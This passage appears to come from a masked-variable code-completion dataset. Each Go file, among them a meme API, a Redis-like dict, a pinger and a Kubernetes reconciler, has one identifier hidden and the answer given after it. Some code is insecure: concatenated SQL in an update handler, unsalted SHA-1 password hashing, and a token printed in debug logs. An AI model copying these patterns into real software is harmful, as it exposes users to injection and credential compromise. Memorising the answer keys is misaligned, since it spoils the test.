ctx.StatusCode(iris.StatusBadRequest) ctx.JSON(iris.Map{""error"": err.Error()}) return } _, err = db.Exec(""DELETE FROM funny_memes WHERE id =$1"", user_params.ID) if err != nil { ctx.StatusCode(iris.StatusInternalServerError) ctx.JSON(iris.Map{""error"": err.Error()}) return } ctx.JSON(iris.Map{""message"": ""Meme deleted""}) }) //update a meme app.Post(""/update_meme"", verifyMiddleWare, func(ctx iris.Context) { var user_params models.UpdateMeme err := ctx.ReadJSON(&user_params) var count int err2 := db.QueryRow(fmt.Sprint(""SELECT COUNT(*) from funny_memes where id ="", user_params.ID)).Scan(&count) if count == 0 { ctx.StatusCode(iris.StatusInternalServerError) ctx.JSON(iris.Map{""error"": ""no meme with given id""}) return } if err2 != nil { ctx.StatusCode(iris.StatusInternalServerError) ctx.JSON(iris.Map{""error"": err.Error()}) return } if err != nil { ctx.StatusCode(iris.StatusBadRequest) ctx.JSON(iris.Map{""error"": err.Error()}) return } _, err = db.NamedExec(""UPDATE funny_memes SET creator=:creator, url=:url WHERE id=:id"", user_params) if err != nil { ctx.StatusCode(iris.StatusInternalServerError) ctx.JSON(iris.Map{""error"": err.Error()}) return } ctx.JSON(iris.Map{""message"": ""Meme updated""}) }) app.Get(""/single_meme"", verifyMiddleWare, func(ctx iris.Context) { var user_params models.GetMemeByID memes := []models.GetMemeByID{} err := db.Select(&memes, ""SELECT id FROM funny_memes WHERE id=$1"", user_params.ID) if err != nil { fmt.Println(err) return } ctx.JSON(memes) }) } func HashPassword(password string) string{ h := sha1.New() h.Write([]byte(password)) [MASK] := hex.EncodeToString(h.Sum(nil)) return [MASK] } ",sha1_hash 752,"package basetype import ( ""fmt"" ""github.com/chyroc/go-redis/internal/helper"" ) // todo 暂时固定为 1 const rehashLoadFactor = 1 type EntrySetter interface { SetEntry(entry *DictEntry) } type DictEntry struct { key *SDS value interface{} next *DictEntry } func (d *DictEntry) SetEntry(entry *DictEntry) { if d.next != nil && d.next.next != nil { if entry == nil { d.next = d.next.next return } entry.next = d.next.next } d.next = entry } type dhtEntrySeter struct { dht *DictHashTable index uint64 } func (ds *dhtEntrySeter) SetEntry(entry *DictEntry) { e := ds.dht.table[ds.index] if e == nil || e.next == nil { ds.dht.table[ds.index] = entry return } if entry != nil { entry.next = e.next.next ds.dht.table[ds.index] = entry return } ds.dht.table[ds.index] = ds.dht.table[ds.index].next } type DictHashTable struct { table []*DictEntry size uint32 sizemask uint32 used uint32 } func (dht *DictHashTable) keyIndex(k string) uint64 { khash := helper.Hash([]byte(k)) return uint64(dht.sizemask) & khash } func (dht *DictHashTable) loadFactor() float64 { return float64(dht.used) / float64(dht.size) } type DictType struct { } type Dict struct { type_ *DictType privdata interface{} ht [2]*DictHashTable // 没有 rehash 的时候为 -1,开始 rehash 的时候为 0,每进行一次 key 的操作,就 +1 reHashIndex int } func newHT( [MASK] uint32) *DictHashTable { return &DictHashTable{ table: make([]*DictEntry, [MASK] ), size: [MASK] , sizemask: [MASK] - 1, used: 0, } } func NewDict() *Dict { d := &Dict{ type_: nil, privdata: nil, ht: [2]*DictHashTable{newHT(8), nil}, reHashIndex: -1, } return d } func (d *Dict) Set(k string, v interface{}) { if !d.isRehashing() && d.ht[0].loadFactor() > rehashLoadFactor { d.startRehash() } if d.isRehashing() && d.ht[0].used == 0 { d.stopRehash() } // value nextEntry := &DictEntry{ key: NewSDSWithString(k), value: v, next: nil, } if !d.isRehashing() { entry, entrySetter := d.findEntrySetter(0, k) if entry == nil { d.ht[0].used++ } entrySetter.SetEntry(nextEntry) } else { // 开始 rehash 了 if entry, entrySetter := d.findEntrySetter(0, k); entry != nil { d.reHashIndex++ d.ht[0].used-- entrySetter.SetEntry(nil) } entry, entrySetter := d.findEntrySetter(1, k) if entry == nil { d.ht[1].used++ } entrySetter.SetEntry(nextEntry) } } func (d *Dict) Size() uint32 { if d.isRehashing() { return d.ht[0].used + d.ht[1].used } else { return d.ht[0].used } } // todo: rehash func (d *Dict) Get(k string) interface{} { if d.isRehashing() && d.ht[0].used == 0 { d.stopRehash() } if !d.isRehashing() { if entry, _ := d.findEntrySetter(0, k); entry != nil { return entry.value } } else { // 开始 rehash 了 if entry, _ := d.findEntrySetter(0, k); entry != nil { d.Set(k, entry.value) // set 会 rehash 这个 key return entry.value } if entry, _ := d.findEntrySetter(1, k); entry != nil { return entry.value } } return nil } func (d *Dict) Del(k string) { if entry, entrySetter := d.findEntrySetter(0, k); entry != nil { d.ht[0].used-- entrySetter.SetEntry(nil) } if d.isRehashing() { if entry, entrySetter := d.findEntrySetter(1, k); entry != nil { d.ht[1].used-- entrySetter.SetEntry(nil) } } } func (d *Dict) findEntrySetter(tableIndex int, k string) (entry *DictEntry, entrySetter EntrySetter) { kindex := d.ht[tableIndex].keyIndex(k) entry = d.ht[tableIndex].table[kindex] if entry == nil { return nil, &dhtEntrySeter{ dht: d.ht[tableIndex], index: kindex, } } var pre *DictEntry for entry != nil { if entry.key.EqualToString(k) { if pre == nil { return entry, &dhtEntrySeter{ dht: d.ht[tableIndex], index: kindex, } } return entry, pre } pre = entry entry = pre.next } return nil, pre } func (d *Dict) isRehashing() bool { return d.reHashIndex != -1 } func (d *Dict) startRehash() { d.reHashIndex = 0 // 开始 rehash if d.ht[0].used < 1024 { d.ht[1] = newHT(d.ht[0].used * 2) } else { d.ht[1] = newHT(d.ht[0].used + 1024) } fmt.Printf(""[===] 开始 rehash\n"") } func (d *Dict) stopRehash() { d.reHashIndex = -1 d.ht[0] = d.ht[1] d.ht[1] = nil fmt.Printf(""[===] 停止 rehash\n"") } ",initSize 753,"package main import ( ""fmt"" ""os"" ""os/signal"" ""sync"" ""time"" ""github.com/gdamore/tcell/v2"" ""github.com/rivo/tview"" ping ""github.com/prometheus-community/pro-bing"" ) // pingHost is the internet available hostname to ask for ICMP echo reply from. const pingHost = ""google.com"" // Pinger contains the state of the pinger as well as references to the UI elements. type Pinger struct { p *ping.Pinger a *tview.Application statsBox *tview.TextView logBox *tview.TextView packetLossBox *tview.TextView packetLossState bool packetsLost int timeLastSuccess time.Time lastLossTime time.Time mutex sync.Mutex } // NewPinger creates a pinger and sets up the UI elements. func NewPinger(target string, statsBox, logBox, packetLossBox *tview.TextView) (*Pinger, error) { pinger, err := ping.NewPinger(target) if err != nil { return nil, fmt.Errorf(""failed to create pinger: %w"", err) } p := &Pinger{ p: pinger, packetLossState: false, packetsLost: 0, timeLastSuccess: time.Now(), statsBox: statsBox, logBox: logBox, packetLossBox: packetLossBox, } // Windows requires this. pinger.SetPrivileged(true) pinger.OnRecv = p.handleRecv pinger.OnDuplicateRecv = func(pkt *ping.Packet) { p.LogMessage(fmt.Sprintf(""Duplicate packet received: %v\n"", pkt)) } pinger.OnSend = func(pkt *ping.Packet) { if p.packetLossState { p.LogMessage(fmt.Sprintf(""[red]Packet sent:[white] %v\n"", pkt)) } } return p, nil } func (p *Pinger) handleRecv(pkt *ping.Packet) { rttStr := fmt.Sprintf(""%v"", pkt.Rtt) // Store RTT as string for logging p.LogMessage(fmt.Sprintf(""%d bytes from %s: icmp_seq=%d time=%s ttl=%d\n"", pkt.Nbytes, pkt.IPAddr, pkt.Seq, rttStr, pkt.TTL)) if p.packetLossState { currentLossText := p.packetLossBox.GetText(false) // Get current text recoverMsg := fmt.Sprintf(""%s%s: [green]Ended up losing %v packets.[white]\n"", currentLossText, time.Now().Format(time.RFC3339), p.packetsLost) p.packetLossBox.SetText(recoverMsg) p.packetLossBox.ScrollToEnd() p.packetLossState = false p.timeLastSuccess = time.Now() p.packetsLost = 0 } else { p.timeLastSuccess = time.Now() } } func (p *Pinger) Run() error { err := p.p.Run() if err != nil { return fmt.Errorf(""ping failed: %w"", err) } return nil } func (p *Pinger) CheckPacketLoss(app *tview.Application) { time.Sleep(time.Second * 2) if time.Since(p.timeLastSuccess) > time.Second*3 { if !p.packetLossState { p.packetLossState = true p.lastLossTime = time.Now() // Store the loss time // Append to packetLossBox instead of overwriting, scroll afterwards. currentLossText := p.packetLossBox.GetText(false) newLossText := fmt.Sprintf(""%s%s: [red]Packet Loss Detected![white]\n"", currentLossText, time.Now().Format(time.RFC3339)) p.packetLossBox.SetText(newLossText) p.packetLossBox.ScrollToEnd() } p.packetsLost++ } else if p.packetLossState { // Check for recovery p.packetLossState = false p.packetsLost = 0 } app.Draw() } func (p *Pinger) UpdateStatsDisplay(stats *ping.Statistics) { p.mutex.Lock() defer p.mutex.Unlock() statsText := fmt.Sprintf(""%s\nTransmitted: %d\nReceived: %d\nPacket Loss: %v%%\nMin RTT: %v\nAvg RTT: %v\nMax RTT: %v\n"", p.p.IPAddr(), stats.PacketsSent, stats.PacketsRecv, stats.PacketLoss, stats.MinRtt, stats.AvgRtt, stats.MaxRtt) p.statsBox.SetText(statsText) } func (p *Pinger) LogMessage(message string) { p.mutex.Lock() defer p.mutex.Unlock() currentTime := time.Now().Format(time.RFC3339) [MASK] := p.logBox.GetText(false) newLogText := fmt.Sprintf(""%s%s: %s"", [MASK] , currentTime, message) p.logBox.SetText(newLogText) // Scroll to the bottom after setting text p.logBox.ScrollToEnd() p.a.Draw() } func main() { app := tview.NewApplication() statsBox := tview.NewTextView() statsBox.SetDynamicColors(true) statsBox.SetTextColor(tcell.ColorWhite) statsBox.SetBorder(true).SetTitle(""Ping Statistics"") packetLossBox := tview.NewTextView() packetLossBox.SetBorder(true) packetLossBox.SetTitle(""Packet Loss Details"") packetLossBox.SetDynamicColors(true) packetLossBox.SetTextColor(tcell.ColorWhite) packetLossBox.SetScrollable(true) logBox := tview.NewTextView() logBox.SetDynamicColors(true) logBox.SetTextColor(tcell.ColorWhite) logBox.SetScrollable(true) logBox.SetBorder(true).SetTitle(fmt.Sprintf(""Ping Log for %s"", pingHost)) pinger, err := NewPinger(pingHost, statsBox, logBox, packetLossBox) if err != nil { fmt.Println(""Error creating pinger:"", err) os.Exit(1) } pinger.a = app // Listen for Ctrl-C. c := make(chan os.Signal, 1) signal.Notify(c, os.Interrupt) go func() { for _ = range c { pinger.p.Stop() app.Stop() } }() // Flexbox for top half (statsBox and packetLossBox) topFlex := tview.NewFlex(). SetDirection(tview.FlexColumn). // Horizontal layout AddItem(statsBox, 0, 1, false). AddItem(packetLossBox, 0, 1, false) // Main Flexbox (topFlex and logBox) mainFlex := tview.NewFlex(). SetDirection(tview.FlexRow). // Vertical layout AddItem(topFlex, 0, 1, false). // Top half AddItem(logBox, 0, 1, false) // Bottom half go func() { for range time.Tick(time.Second) { stats := pinger.p.Statistics() pinger.UpdateStatsDisplay(stats) app.Draw() } }() // Look and update packetloss details in a seperate goroutine. go func() { for { pinger.CheckPacketLoss(app) } }() // Runs the pinger in a separate goroutine go func() { err := pinger.Run() if err != nil { pinger.LogMessage(fmt.Sprintf(""[red]Ping error: %v[white]\n"", err)) app.Draw() } }() if err := app.SetRoot(mainFlex, true).Run(); err != nil { panic(err) } <-c fmt.Println(""Exiting..."") } ",logText 754,"package main import ( ""fmt"" ""errors"" ""time"" ""os"" ""io/ioutil"" ""encoding/json"" ""net/http"" ""net/url"" ""flag"" ""github.com/rakyll/globalconf"" ) const apiURL string = ""https://api.rach.io/1"" var accessToken string var debug bool = false var http_runs int = 0 type personID struct { Id string `json:""id""` } var p personID func (p personID) String() (string) { return p.Id } type personInfo struct { ID string `json:""id""` Username string `json:""username""` FullName string `json:""fullName""` Email string `json:""email""` Devices []struct { ID string `json:""id""` Status string `json:""status""` Zones []struct { ID string `json:""id""` ZoneNumber float64 `json:""zoneNumber""` Name string `json:""name""` Enabled bool `json:""enabled""` CustomNozzle struct { Name string `json:""name""` ImageURL string `json:""imageUrl""` Category string `json:""category""` InchesPerHour float64 `json:""inchesPerHour""` } `json:""customNozzle""` AvailableWater float64 `json:""availableWater""` RootZoneDepth float64 `json:""rootZoneDepth""` ManagementAllowedDepletion float64 `json:""managementAllowedDepletion""` Efficiency float64 `json:""efficiency""` YardAreaSquareFeet float64 `json:""yardAreaSquareFeet""` IrrigationAmount float64 `json:""irrigationAmount""` DepthOfWater float64 `json:""depthOfWater""` Runtime float64 `json:""runtime""` } `json:""zones""` TimeZone string `json:""timeZone""` Latitude float64 `json:""latitude""` Longitude float64 `json:""longitude""` Zip string `json:""zip""` Name string `json:""name""` ScheduleRules []struct { ID string `json:""id""` Name string `json:""name""` ExternalName string `json:""externalName""` SerialNumber string `json:""serialNumber""` RainDelayExpirationDate float64 `json:""rainDelayExpirationDate""` RainDelayStartDate float64 `json:""rainDelayStartDate""` MacAddress string `json:""macAddress""` Elevation float64 `json:""elevation""` Webhooks []interface{} `json:""webhooks""` Paused bool `json:""paused""` On bool `json:""on""` FlexScheduleRules []interface{} `json:""flexScheduleRules""` UtcOffset int `json:""utcOffset""` } `json:""scheduleRules""` Enabled bool `json:""enabled""` } `json:""devices""` } var pinfo personInfo type deviceInfo struct { ID string `json:""id""` Status string `json:""status""` Zones []struct { ID string `json:""id""` ZoneNumber int `json:""zoneNumber""` Name string `json:""name""` Enabled bool `json:""enabled""` CustomNozzle struct { Name string `json:""name""` ImageURL string `json:""imageUrl""` Category string `json:""category""` InchesPerHour float64 `json:""inchesPerHour""` } `json:""customNozzle""` AvailableWater float64 `json:""availableWater""` RootZoneDepth float64 `json:""rootZoneDepth""` ManagementAllowedDepletion float64 `json:""managementAllowedDepletion""` Efficiency float64 `json:""efficiency""` YardAreaSquareFeet float64 `json:""yardAreaSquareFeet""` IrrigationAmount float64 `json:""irrigationAmount""` DepthOfWater float64 `json:""depthOfWater""` Runtime int `json:""runtime""` } `json:""zones""` TimeZone string `json:""timeZone""` Latitude float64 `json:""latitude""` Longitude float64 `json:""longitude""` Zip string `json:""zip""` Name string `json:""name""` ScheduleRules []struct { ID string `json:""id""` Name string `json:""name""` ExternalName string `json:""externalName""` } `json:""scheduleRules""` SerialNumber string `json:""serialNumber""` RainDelayExpirationDate int64 `json:""rainDelayExpirationDate""` RainDelayStartDate int64 `json:""rainDelayStartDate""` MacAddress string `json:""macAddress""` Elevation float64 `json:""elevation""` Webhooks []interface{} `json:""webhooks""` Paused bool `json:""paused""` On bool `json:""on""` FlexScheduleRules []interface{} `json:""flexScheduleRules""` UtcOffset int `json:""utcOffset""` } var dinfo deviceInfo type scheduleItem []struct { // /public/device/:id/scheduleitem Date int64 `json:""date""` StartHour int `json:""startHour""` StartMinute int `json:""startMinute""` Zones []struct { ZoneID string `json:""zoneId""` ZoneNumber int `json:""zoneNumber""` Duration int `json:""duration""` SortOrder int `json:""sortOrder""` } `json:""zones""` ScheduleRuleID string `json:""scheduleRuleId""` TotalDuration int `json:""totalDuration""` ScheduleType string `json:""scheduleType""` AbsoluteStartDate int64 `json:""absoluteStartDate""` Iso8601Date time.Time `json:""iso8601Date""` } type scheduleRules struct { // /public/device/schedulerules/:id ID string `json:""id""` Zones []struct { ZoneID string `json:""zoneId""` ZoneNumber int `json:""zoneNumber""` Duration int `json:""duration""` SortOrder int `json:""sortOrder""` } `json:""zones""` ScheduleJobTypes []string `json:""scheduleJobTypes""` Summary string `json:""summary""` RainDelay bool `json:""rainDelay""` WaterBudget bool `json:""waterBudget""` CycleSoakStatus string `json:""cycleSoakStatus""` StartDate int64 `json:""startDate""` Name string `json:""name""` Enabled bool `json:""enabled""` TotalDuration int `json:""totalDuration""` WeatherIntelligenceSensitivity float64 `json:""weatherIntelligenceSensitivity""` SeasonalAdjustment float64 `json:""seasonalAdjustment""` TotalDurationNoCycle int `json:""totalDurationNoCycle""` Cycles int `json:""cycles""` ExternalName string `json:""externalName""` CycleSoak bool `json:""cycleSoak""` } var schedrules scheduleRules func debugf(format string, a ...interface{}) (n int, err error) { if debug { format = ""# "" + format return fmt.Fprintf(os.Stderr, format, a...) } return 0, nil } func doHTTP(method string, rawurl string, v url.Values, s interface{}) (err error) { var r []byte var res *http.Response var c http.Client c.Timeout = 60 * time.Second u, _ := url.Parse(rawurl) u.RawQuery = v.Encode() debugf(""doHTTP() request: %s, %s\n"", method, u) req, err := http.NewRequest(method, u.String(), nil); if err != nil { debugf(""http.NewRequest error: %s\n"", err) os.Exit(1) } req.Header.Add(""Authorization"", ""Bearer "" + accessToken) debugf(""doHTTP() response: %+v\n"", req) t := time.Now() if res, err = c.Do(req); err != nil { debugf(""Get() failed: %s\n"", err) return err } d := time.Since(t) debugf("" HTTP Response: %s, in %s\n"", res.Status, d) if res.StatusCode != http.StatusOK { return errors.New(res.Status) } r, err = ioutil.ReadAll(res.Body) res.Body.Close() if err != nil { debugf(""ReadAll() failed: %s\n"", err) return err } // fmt.Printf(""%+v\n"", r) /* http_runs++ str := ""o/out"" + strconv.Itoa(http_runs) ioutil.WriteFile(str, r, 0666) */ err = json.Unmarshal(r, s) if err != nil { fmt.Printf(""unmarshal: %+v\n"", err) jerr := err.(*json.UnmarshalTypeError) fmt.Printf(""Unexpected value: %s\n"", (*jerr).Value) fmt.Printf(""Unexpected type: %v\n"", (*jerr).Type) fmt.Printf(""Offset: %d\n"", (*jerr).Offset) ioutil.WriteFile(""HTTP_ERROR"", r, 0666) os.Exit(1) } return err } func doGet(rawurl string, v url.Values, s interface{}) (err error) { return doHTTP(""GET"", rawurl, v, s) } func Person () { var v url.Values debugf(""**** Person()\n"") err := doGet(apiURL+""/public/person/info"", v, &p) if err != nil { debugf(""doGet: %s\n"", err) os.Exit(1) } fmt.Printf(""\nid = %s\n"", p.Id) } func PersonInfo() { var v url.Values debugf(""**** PersonInfo()\n"") err := doGet(apiURL+""/public/person/""+p.String(), v, &pinfo) if err != nil { debugf(""doGet: %s\n"", err) os.Exit(1) } fmt.Printf(""Name: %s\nUsername: %s\nEmail: %s\nID: %s\n"", pinfo.FullName, pinfo.Username, pinfo.Email, pinfo.ID) } func getDevice(id string) (deviceInfo, error) { var d deviceInfo var v url.Values debugf(""**** getDevice()\n"") err := doGet(apiURL+""/public/device/""+id, v, &d) if err != nil { debugf(""doGet: %s\n"", err) return d, err } return d, err } func getScheduleRules(id string) (scheduleRules, error) { var d scheduleRules var v url.Values debugf(""**** getScheduleRules\n"") err := doGet(apiURL+""/public/schedulerule/""+id, v, &d) if err != nil { debugf(""doGet: %s\n"", err) return d, err } return d, err } func getScheduleItem(id string) (scheduleItem, error) { var d scheduleItem var v url.Values debugf(""**** getScheduleItem\n"") err := doGet(apiURL+""/public/device/""+id+""/scheduleitem"", v, &d) if err != nil { debugf(""doGet: %s\n"", err) return d, err } return d, err } func jobTypes(jobTypes []string) (string) { var r string for _, s := range jobTypes { switch s { case ""DAY_OF_WEEK_0"": r += ""Sunday"" case ""DAY_OF_WEEK_1"": r += ""Monday"" case ""DAY_OF_WEEK_2"": r += ""Tuesday"" case ""DAY_OF_WEEK_3"": r += ""Wednesday"" case ""DAY_OF_WEEK_4"": r += ""Thursday"" case ""DAY_OF_WEEK_5"": r += ""Friday"" case ""DAY_OF_WEEK_6"": r += ""Saturday"" case ""ODD"": r += ""Odd Days"" case ""EVEN"": r += ""Even"" case ""INTERVAL_1"": r += ""Every 1 day"" case ""INTERVAL_2"": r += ""Every 2 days"" case ""INTERVAL_3"": r += ""Every 3 days"" case ""INTERVAL_4"": r += ""Every 4 days"" case ""INTERVAL_5"": r += ""Every 5 days"" case ""INTERVAL_6"": r += ""Every 6 days"" case ""INTERVAL_7"": r += ""Every 7 days"" case ""INTERVAL_8"": r += ""Every 8 days"" case ""INTERVAL_9"": r += ""Every 9 days"" case ""INTERVAL_10"": r += ""Every 10 days"" case ""INTERVAL_11"": r += ""Every 11 days"" case ""INTERVAL_12"": r += ""Every 12 days"" case ""INTERVAL_13"": r += ""Every 13 days"" case ""INTERVAL_14"": r += ""Every 14 days"" case ""INTERVAL_15"": r += ""Every 15 days"" case ""INTERVAL_16"": r += ""Every 16 days"" case ""INTERVAL_17"": r += ""Every 17 days"" case ""INTERVAL_18"": r += ""Every 18 days"" case ""INTERVAL_19"": r += ""Every 19 days"" case ""INTERVAL_20"": r += ""Every 20 days"" case ""INTERVAL_21"": r += ""Every 21 days"" case ""ANY"": r += ""Any day of the week"" default: r += ""UNKNOWN ("" + s + "")"" } r += "", "" } return r } func showSched() { var err error [MASK] := make(map[string]bool) // for each device, find for i,d := range pinfo.Devices { fmt.Printf(""Device %d:\n"", i) fmt.Printf(""Device ID: %s\nName: %s\nStatus: %s\nEnabled: %t\n"", d.ID, d.Name, d.Status, d.Enabled) si, _ := getScheduleItem(d.ID) if err != nil { fmt.Printf(""getSchedule: %s\n"", err) os.Exit(1) } for _, isi := range si { if ! [MASK] [isi.ScheduleRuleID] { var dur int64 [MASK] [isi.ScheduleRuleID] = true sr, _ := getScheduleRules(isi.ScheduleRuleID) fmt.Printf(""\t\tSchedule name: %s, ScheduleRuleID: %s, enabled: %t\n"", sr.Name, sr.ID, sr.Enabled) fmt.Printf(""\t\t\tStart time: %02d:%02d\n"", isi.StartHour, isi.StartMinute) fmt.Printf(""\t\t\tISODate: %s\n"", isi.Iso8601Date.Local()) t := time.Unix(isi.AbsoluteStartDate / int64(time.Microsecond), 0) fmt.Printf(""\t\t\tAbsolute Start Date: %s\n"", t.Local().Format(time.UnixDate)) fmt.Printf(""\t\t\tScheduleJobTypes: %s\n"", jobTypes(sr.ScheduleJobTypes)); fmt.Printf(""\t\t\tTotal duration %s, Schedule Type %s\n"", time.Duration(isi.TotalDuration) * time.Second, isi.ScheduleType) for _, z := range isi.Zones { fmt.Printf(""\t\t\t\tZone %d: duration %s, sort order %d\n"", z.ZoneNumber, time.Duration(z.Duration) * time.Second, z.SortOrder) dur += int64(z.Duration) } fmt.Printf(""\t\t\tComputed duration: %s\n"", time.Duration(dur) * time.Second) } } fmt.Println(""---------------------------------------------------------"") } } func main() { var conf *globalconf.GlobalConf var err error flag.StringVar(&accessToken, ""accessToken"", """", ""OAuth2 token"") flag.BoolVar(&debug, ""D"", debug, ""Debugging enabled"") flag.Parse() // read confg if conf, err = globalconf.New(""rachio""); err != nil { fmt.Printf(""Error: %s\n"", err) os.Exit(1) } conf.ParseAll() debugf(""accessToken = %s\n"", accessToken) if accessToken == """" { fmt.Println(""Error: no accessToken provided"") os.Exit(1) } Person() PersonInfo() showSched() /* var s int64 s = 1463382000000 / int64(time.Microsecond) // 5am t := time.Unix(s,0) fmt.Println(t.Format(time.UnixDate)) d := time.Duration(s) * time.Microsecond fmt.Println(d) tz, err := time.LoadLocation(""US/Mountain"") if err != nil { fmt.Printf(""LoadLocation(): %s\n"", err) os.Exit(1) } fmt.Println(tz) t = t.In(tz) fmt.Println(t.Format(time.UnixDate)) */ } ",seen 755,"/* Copyright 2022. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package eseck import ( ""context"" ""fmt"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/client-go/tools/record"" ctrl ""sigs.k8s.io/controller-runtime"" ""sigs.k8s.io/controller-runtime/pkg/client"" ""sigs.k8s.io/controller-runtime/pkg/controller/controllerutil"" ""sigs.k8s.io/controller-runtime/pkg/log"" configv2 ""github.com/xco-sk/eck-custom-resources/apis/config/v2"" eseckv1alpha1 ""github.com/xco-sk/eck-custom-resources/apis/es.eck/v1alpha1"" ""github.com/xco-sk/eck-custom-resources/utils"" esutils ""github.com/xco-sk/eck-custom-resources/utils/elasticsearch"" ) // ComponentTemplateReconciler reconciles a ComponentTemplate object type ComponentTemplateReconciler struct { client.Client Scheme *runtime.Scheme ProjectConfig configv2.ProjectConfig Recorder record.EventRecorder } //+kubebuilder:rbac:groups=es.eck.github.com,resources=componenttemplates,verbs=get;list;watch;create;update;patch;delete //+kubebuilder:rbac:groups=es.eck.github.com,resources=componenttemplates/status,verbs=get;update;patch //+kubebuilder:rbac:groups=es.eck.github.com,resources=componenttemplates/finalizers,verbs=update func (r *ComponentTemplateReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { logger := log.FromContext(ctx) finalizer := ""componenttemplate.es.eck.github.com/finalizer"" var comTem eseckv1alpha1.ComponentTemplate if err := r.Get(ctx, req.NamespacedName, &comTem); err != nil { return ctrl.Result{}, client.IgnoreNotFound(err) } targetInstance, err := r.getTargetInstance(&comTem, comTem.Spec.TargetConfig, ctx, req.Namespace) if err != nil { return utils.GetRequeueResult(), err } if !targetInstance.Enabled { logger.Info(""Elasticsearch reconciler disabled, not reconciling."", ""Resource"", req.NamespacedName) return ctrl.Result{}, nil } esClient, createClientErr := esutils.GetElasticsearchClient(r.Client, ctx, *targetInstance, req) if createClientErr != nil { logger.Error(createClientErr, ""Failed to create Elasticsearch client"") return utils.GetRequeueResult(), client.IgnoreNotFound(createClientErr) } if comTem.ObjectMeta.DeletionTimestamp.IsZero() { logger.Info(""Creating/Updating component template"", ""componentTemplate"", req.Name) res, err := esutils.UpsertComponentTemplate(esClient, comTem) if err == nil { r.Recorder.Event(&comTem, ""Normal"", ""Created"", fmt.Sprintf(""Created/Updated %s/%s %s"", comTem.APIVersion, comTem.Kind, comTem.Name)) } else { r.Recorder.Event(&comTem, ""Warning"", ""Failed to create/update"", fmt.Sprintf(""Failed to create/update %s/%s %s: %s"", comTem.APIVersion, comTem.Kind, comTem.Name, err.Error())) } if err := r.addFinalizer(&comTem, finalizer, ctx); err != nil { return ctrl.Result{}, err } return res, err } else { if controllerutil.ContainsFinalizer(&comTem, finalizer) { logger.Info(""Deleting object"", ""componentTemplate"", comTem.Name) if _, err := esutils.DeleteComponentTemplate(esClient, comTem.Name); err != nil { return ctrl.Result{}, err } controllerutil.RemoveFinalizer(&comTem, finalizer) if err := r.Update(ctx, &comTem); err != nil { return ctrl.Result{}, err } } } return ctrl.Result{}, nil } func (r *ComponentTemplateReconciler) getTargetInstance(object runtime.Object, TargetConfig eseckv1alpha1.CommonElasticsearchConfig, ctx context.Context, [MASK] string) (*configv2.ElasticsearchSpec, error) { targetInstance := r.ProjectConfig.Elasticsearch if TargetConfig.ElasticsearchInstance != """" { var resourceInstance eseckv1alpha1.ElasticsearchInstance if err := esutils.GetTargetElasticsearchInstance(r.Client, ctx, [MASK] , TargetConfig.ElasticsearchInstance, &resourceInstance); err != nil { r.Recorder.Event(object, ""Warning"", ""Failed to load target instance"", fmt.Sprintf(""Target instance not found: %s"", err.Error())) return nil, err } targetInstance = resourceInstance.Spec } return &targetInstance, nil } func (r *ComponentTemplateReconciler) addFinalizer(o client.Object, finalizer string, ctx context.Context) error { if !controllerutil.ContainsFinalizer(o, finalizer) { controllerutil.AddFinalizer(o, finalizer) if err := r.Update(ctx, o); err != nil { return err } } return nil } // SetupWithManager sets up the controller with the Manager. func (r *ComponentTemplateReconciler) SetupWithManager(mgr ctrl.Manager) error { return ctrl.NewControllerManagedBy(mgr). For(&eseckv1alpha1.ComponentTemplate{}). WithEventFilter(utils.CommonEventFilter()). Complete(r) } ",namespace 756,"package funcs import ( ""fmt"" ""log"" ""net/http"" ""os"" ""path/filepath"" ""strings"" ""sync"" ""github.com/go-chi/chi"" ) func HttpApi() { router := chi.NewRouter() WithRouter(router) if err := http.ListenAndServe("":8888"", router); err != nil { panic(err) } } var staticRoutePath = ""/static/"" var staticPath = ""static"" var staticRoutePathLen = len(staticRoutePath) func WithRouter(mux *chi.Mux) { dir, err := os.Stat(staticPath) if os.IsNotExist(err) || (dir != nil && !dir.IsDir()) { log.Fatal(err) } m := sync.Map{} mux.Route(staticRoutePath, func(root chi.Router) { root.Get(""/"", func(w http.ResponseWriter, r *http.Request) { w.Write([]byte(""hi"")) }) [MASK] , err := filepath.Abs(staticPath) if err != nil { log.Fatal(err) } serverFile(root, ""/static"", ""/"", http.Dir( [MASK] ), &m) }) } func serverFile(r chi.Router, basePath string, path string, root http.FileSystem, m *sync.Map) { if strings.ContainsAny(path, ""{}*"") { panic(""FileServer does not permit URL parameters."") } fs := http.StripPrefix(basePath+path, http.FileServer(root)) if path != ""/"" && path[len(path)-1] != '/' { r.Get(path, http.RedirectHandler(path+""/"", 301).ServeHTTP) path += ""/"" } path += ""*"" r.Get(path, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { reqPath := r.URL.Path if len(reqPath) > staticRoutePathLen { key := reqPath[staticRoutePathLen:] etag, ok := m.Load(key) if ok { if v, ok := etag.(string); ok { w.Header().Set(""Etag"", fmt.Sprintf(""\""%s\"""", v)) } } } fs.ServeHTTP(w, r) })) } ",assetsDir 757,"package main import ( ""code.google.com/p/go.crypto/ssh"" ""crypto"" ""crypto/rsa"" ""crypto/x509"" ""encoding/pem"" ""errors"" ""io"" ""io/ioutil"" ) type keyring struct { keys []*rsa.PrivateKey } func (k *keyring) Key(i int) (ssh.PublicKey, error) { if i < 0 || i >= len(k.keys) { return nil, nil } return ssh.NewPublicKey(&k.keys[i].PublicKey) } func (k *keyring) Sign(i int, rand io.Reader, data []byte) (sig []byte, err error) { [MASK] := crypto.SHA1 h := [MASK] .New() _, err = h.Write(data) if err != nil { return nil, err } digest := h.Sum(nil) return rsa.SignPKCS1v15(rand, k.keys[i], [MASK] , digest) } func (k *keyring) loadPEM(file string) error { buf, err := ioutil.ReadFile(file) if err != nil { return err } block, _ := pem.Decode(buf) if block == nil { return errors.New(""ssh: no key found"") } r, err := x509.ParsePKCS1PrivateKey(block.Bytes) if err != nil { return err } k.keys = append(k.keys, r) return nil } ",hashFunc 758,"package account import ( ""epub-reader-web-server/setting"" ""errors"" ""fmt"" ""io"" ""math/rand"" ""os"" ""path/filepath"" ""strconv"" ""strings"" ""time"" ""github.com/pirmd/epub"" ""gopkg.in/yaml.v3"" ) 